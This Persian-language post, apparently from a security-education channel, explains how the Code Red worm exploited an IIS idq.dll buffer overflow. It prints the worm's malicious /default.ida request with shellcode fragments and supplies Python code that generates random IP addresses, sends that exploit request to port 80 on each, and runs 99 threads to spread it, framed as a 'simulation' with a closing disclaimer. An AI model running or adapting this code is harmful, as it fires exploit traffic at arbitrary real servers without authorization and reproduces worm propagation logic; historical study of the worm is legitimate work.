۱. روش اصلی حمله: سوءاستفاده از آسیبپذیری سرریز بافر (Buffer Overflow)
هدف: وبسرورهای Microsoft IIS (Internet Information Services) که نسخههای آسیبپذیر کتابخانه idq.dll را اجرا میکردند.
مکانیزم:
کرم با ارسال یک درخواست HTTP مخرب به شکل زیر، باعث سرریز بافر در ماژول ایندکسسازی (Indexing Service) میشد:
GET /default.ida?[رشته طولانی از Nها]%u9090%u6858%ucbd3%u7801... HTTP/1.0
رشته Nها باعث سرریز بافر و بازنویسی حافظه میشد.
کد هگزادسیمال بعدی (%u9090...) حاوی دستورات ماشینی (Shellcode) بود که کنترل سرور را به مهاجم میداد.
۲. روشهای گسترش خودکار
+ اسکن تصادفی IPها:
کرم به صورت خودکار آدرسهای IP تصادفی را اسکن میکرد و به هر سروری که پورت ۸۰ (HTTP) باز بود، درخواست مخرب خود را ارسال مینمود.
اسکن تصادفی IPها
کرم Code Red از الگوریتمهای سادهای برای تولید آدرسهای IP تصادفی استفاده میکرد. در پایتون، این فرآیند را میتوان به صورت زیر شبیهسازی کرد:
import random
def generate_random_ip():
return ".".join(str(random.randint(0, 255)) for _ in range(4))
# مثال: تولید ۱۰ آدرس IP تصادفی
for _ in range(10):
print(generate_random_ip())
+ ارسال درخواست مخرب به پورت ۸۰
کرم پس از پیدا کردن یک سرور با پورت ۸۰ باز، درخواست HTTP مخرب خود را ارسال میکرد. در پایتون، این کار را میتوان با استفاده از کتابخانه socket شبیهسازی کرد:
import socket
def send_malicious_request(ip):
try:
# ایجاد یک سوکت TCP
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2) # تنظیم timeout برای اتصال
sock.connect((ip, 80)) # اتصال به پورت ۸۰
# ارسال درخواست مخرب
malicious_request = (
"GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0\r\n"
"Host: example.com\r\n"
"\r\n"
)
sock.send(malicious_request.encode())
# دریافت پاسخ (اختیاری)
response = sock.recv(4096)
print(f"Response from {ip}: {response.decode()}")
sock.close()
except Exception as e:
print(f"Failed to connect to {ip}: {e}")
# مثال: ارسال درخواست به یک IP تصادفی
random_ip = generate_random_ip()
send_malicious_request(random_ip)
تکثیر موازی:
روی هر سیستم آلوده، ۹۹ thread موازی ایجاد میکرد تا اسکن و آلودهسازی را تسریع کند.
+ ایجاد Threadهای موازی برای اسکن و آلودهسازی
کرم Code Red از ۹۹ thread موازی برای تسریع فرآیند اسکن و آلودهسازی استفاده میکرد. در پایتون، این کار را میتوان با استفاده از کتابخانه
threading شبیهسازی کرد:import threading
def scan_and_infect(ip):
print(f"Scanning {ip}...")
send_malicious_request(ip)
# ایجاد ۹۹ thread موازی
threads = []
for _ in range(99):
ip = generate_random_ip()
thread = threading.Thread(target=scan_and_infect, args=(ip,))
thread.start()
threads.append(thread)
# منتظر ماندن برای اتمام تمام threadها
for thread in threads:
thread.join()
---
عدم نیاز به تعامل کاربر:
برخلاف بسیاری از بدافزارها، Code Red برای گسترش نیازی به کلیک کاربر یا اجرای فایل پیوست نداشت. تنها کافی بود سرور به اینترنت متصل باشد!
جمعبندی
این کدها صرفاً برای درک بهتر مکانیزمهای گسترش کرم Code Red ارائه شدهاند. امروزه، چنین حملاتی با استفاده از فایروالها، سیستمهای تشخیص نفوذ (IDS)، و بهروزرسانیهای امنیتی به راحتی قابل پیشگیری هستند.
@TryHackBoxStory